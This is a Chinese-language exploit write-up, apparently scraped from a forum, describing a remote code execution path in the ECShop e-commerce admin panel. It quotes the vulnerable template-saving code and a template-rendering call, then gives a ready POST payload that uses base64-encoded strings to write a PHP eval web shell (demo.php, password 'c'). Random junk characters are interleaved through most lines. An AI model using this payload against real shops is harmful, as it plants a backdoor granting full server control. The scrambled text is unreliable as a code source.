首先 ecshop用的是smarty 这样就可以通过它的fetch函数来执行模板
9 o+ }: b2 u5 q$ ^
2 P/ P n! j* `* J9 @而模板里面可以执行他定义的php代码,这样只要可以写出模板 然后找到调用就可以拿到shell了- _1 V( z% p3 a: T6 x1 Y
但是ecshop似乎不支持{php}{/php}这个标签来执行php代码5 v7 P6 w8 o& B
admin/template.php
: l. E' ~- i! T% h, [5 [: s8 {, G
1 if ($_REQUEST['act'] == 'update_library')
7 m$ W+ R% M/ A* I! t! I Z; x2 C" V5 I" E$ j2 w! U ^
2
9 n! ` Y# t/ k( T# h& @3 H4 \. \7 w3 ]2 z1 T+ |6 q
3 { , h8 _0 |) z* o* \$ A* p
- a+ v2 D- w% K' U4 check_authz_json('library_manage'); 1 B3 z) z6 Q, D1 ]3 T& e+ C2 S
! e! a! i) o$ B5
, b' `1 ~4 t6 C# a
( A' B* U5 ?3 X# T: _; a1 {6 $html = stripslashes(json_str_iconv($_POST['html'])); ; e, E2 w, Z2 z
, f8 {3 M* u4 x( B) G
7
% Z$ j% d1 |. X& g0 ]$ d7 n3 \, e# ~. }5 ~3 B2 P# P5 p
8 $lib_file = '../themes/' . $_CFG['template'] . '/library/' .$_POST['lib'] . '.lbi'; //模板文件
0 o: ]/ W- W: ?$ F5 a$ `5 x% p! [4 z9 W) r+ L' U, C
9 ' T' W% Y$ Y, g
2 ^8 r5 c# p2 I( }6 j
10 $lib_file = str_replace("0xa", '', $lib_file); // 过滤 0xa 非法字符 ) ?5 {, W+ Q- h4 w5 [' Z
7 ^( B9 e& y1 p6 W7 A11
% P+ J: v+ Y5 c' ] b8 Z
6 U# Z! Q1 X7 o; q+ h- {12 $org_html = str_replace("\xEF\xBB\xBF", '',file_get_contents($lib_file));
1 k; o' x' W& H9 A4 e. j( \% `4 x, j- {. ~6 A/ K7 t, ^" d; w$ b, V
13
! L! r* ~% @$ A. o, q4 c% C( q6 U0 k
14 if (@file_exists($lib_file) === true && @file_put_contents($lib_file,$html))//写出 # r& l, P7 o4 b& g
! Q" ~/ z# J$ P8 C9 v
15 {
* H8 p, g: J* `% v" x$ g( ^
8 u& Q( Q& n6 d# |7 }' q1 c16 @file_put_contents('../temp/backup/library/' . $_CFG['template'] .'-' . $_POST['lib'] . '.lbi', $org_html);
) r8 w8 b' Y1 h @4 k2 x6 d
- P8 ?& v3 W/ W8 t! Q$ f5 p- c, h17 make_json_result('', $_LANG['update_lib_success']);
5 Z' e9 M* ~1 Z# f) `
R- L# F/ [* N; a18 }
3 Z6 f* K" K4 C$ C" a% Z3 A/ {, Q% k5 |5 b/ d
19 else 3 g+ Z; l% f. H) Q3 @* ^
+ {2 V: d2 U9 o7 N V' w3 r20 {
7 N8 C5 P2 `/ Y4 H; k$ c5 H% Y8 C; B1 P
21 make_json_error(sprintf($_LANG['update_lib_failed'], 'themes/' .$_CFG['template'] . '/library'));
3 H+ \# w- `1 `. s- |$ r, y; k3 p @2 r- Q2 ^' }( `
22 } 3 a6 \+ q+ i7 ]+ z! ^
& y. o8 H4 J6 ?23 }
( I Y2 P# D0 D; U* v, O6 j6 S8 O0 s
那么找个比较方便调用了模板的文件! b( q R. L, [8 G
index.php) | w1 I; X) K! [5 W
7 c( \1 {; O9 V' \9 X1 if ($act == 'cat_rec') 0 Q% ?. }/ f% t/ Q" q: p& `( y
: L. K# q# @" n: E6 J9 `2 M6 |
2
' H, Y- f1 c) ^. W5 z* \
6 Z. T( C. j4 z( \& ~2 B3 {
# D: `: S4 Y- u: \( G2 Q
+ C! {2 l. j% b- Y9 r8 |4
" B" g8 b3 `* C) E* Z9 W3 H- A7 I3 E) D2 d e5 k
5 $rec_array = array(1 => 'best', 2 => 'new', 3 => 'hot');
0 R) ]& j8 R( d1 F
} W' {6 e% z- ^* w6 z, l6
9 U' w# o8 Y' |0 ~# b2 T& P" z( o- ~5 O! |" |& D: \
7 $rec_type = !empty($_REQUEST['rec_type']) ?intval($_REQUEST['rec_type']) : '1';
4 W4 B+ r/ }/ z. n# i7 ?: G
5 }% b7 i$ O8 U5 a1 ^; Y8 : m* }( T4 ]# w% G
0 m& m2 p/ G2 Q4 J' {9 $cat_id = !empty($_REQUEST['cid']) ? intval($_REQUEST['cid']) : '0'; # f8 r2 m$ x/ _' O) t+ l
$ W& m. `& @3 {1 n+ Q. i
10 5 b1 y7 ~4 c; l: E6 C& a& H
$ | {4 q' W( w! e
11 include_once('includes/cls_json.php');
% Q, K5 h1 j6 m1 {
& u+ J0 k" j, F" D! Z' Y; L12
4 n, |2 p4 K r& @/ H1 k8 ~( G( j, N; m8 c7 J' v. E7 n
13 $json = new JSON; * z" L4 O- N; D) k8 S [$ c
7 \; i: D" D! @14 8 y7 `8 Y6 F) o, l, I! h) x
/ L' U6 ]+ }) e @
15 $result = array('error' => 0, 'content' => '', 'type' => $rec_type,'cat_id' => $cat_id); 9 i/ P6 b" B4 ~' X/ k+ T9 }
8 m, o; w6 ~5 y9 W. B* F# X. g7 U
16 9 g6 P" ~9 [- D( Z! G
5 s" W6 ^ Z3 g" E/ s! `; x17 $children = get_children($cat_id);
& i7 o) B: t6 O" ^6 l
2 x" H. n: f# {2 N' p18
" E' Z" G% o) P5 g* N, w
) [% k9 T: W/ Z/ s8 b19 $smarty->assign($rec_array[$rec_type] . '_goods', get_category_recommend_goods($rec_array[$rec_type], $children)); // 推荐商品
( b$ h' O/ S3 V
) Q& O8 G0 B- m1 J: C. l20 ~9 e J" x, }. r. q" L! t
4 H% C/ ~2 s5 y: Z& D
21 $smarty->assign('cat_rec_sign', 1); 6 [( o4 Y) R! f% q
, o& I- U/ V: A" h3 M22
) @7 @6 K9 Z; P& c2 }
; Q: ~6 `8 j7 u- i$ y23 $result['content'] = $smarty->fetch('library/recommend_' .$rec_array[$rec_type] . '.lbi');//使用了模板文件 该模板文件为recommend_best
. v7 H; J* m8 l2 t- V2 P- X- J& P4 Z) S9 B% f9 t, Y' A
24 3 Q( |, n/ Q6 o
, u' b" p& d' n% y* O) ? s
25 echo 'library/recommend_' . $rec_array[$rec_type] . '.lbi';
O7 d7 v% G9 k6 M" _$ E. k
/ Q: ?1 g8 X Q, X: t% y% M26
, N' H: i' `& f6 i4 B/ z( {2 a3 n$ N! |# t; j& H
27 echo $rec_array[$rec_type];
+ {& j3 F( N5 D8 `
1 W6 F4 _7 U- H4 T/ l; e |28
1 D- Z% a) o4 s. u% F1 C) A% R7 o
29 die($json->encode($result)); ) a& S, @% q" X7 i9 a' |
9 |! o9 \+ N! g30
& H! Q j- |- \7 I% D7 X% u
8 ] K1 A3 c4 y! d A7 }& k8 s31 } " K/ L8 \% [2 {4 E+ `3 ~
1 j9 |+ R' k3 p' R. s8 W" A那么就有利用方法了, Z; |6 q: W q8 A! ?! x2 T( O: `
post包到http://localhost/ec/admin/template.php?act=update_library9 y" u% t U7 u0 N6 p* c; m8 l
Post内容: S$ m+ c* K+ o" m; a0 l
5 N. W; q7 w) C0 n
" ^# W& T" }+ r; i8 @4 ^1 lib=recommend_best&html={iffputs(fopen(base64_decode(ZGVtby5waHA),w),base64_decode(PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz5vaw))}16086{/if} : N) e0 W' x% o4 q
7 Y' Y6 `( u0 p& }9 Q q
然后访问http://localhost/ec/index.php?act=cat_rec# w5 r6 u4 h5 p1 o
, B1 T: b& O7 u" H- ?9 P/ ~- tshel地址:http://localhost/ec/demo.php6 U7 ~: g+ S* h, M- F/ ~# H Q
密码c/ G$ S& N5 q# S6 l( J8 U- x5 u
, E) @9 Y8 O) g0 W3 B0 J |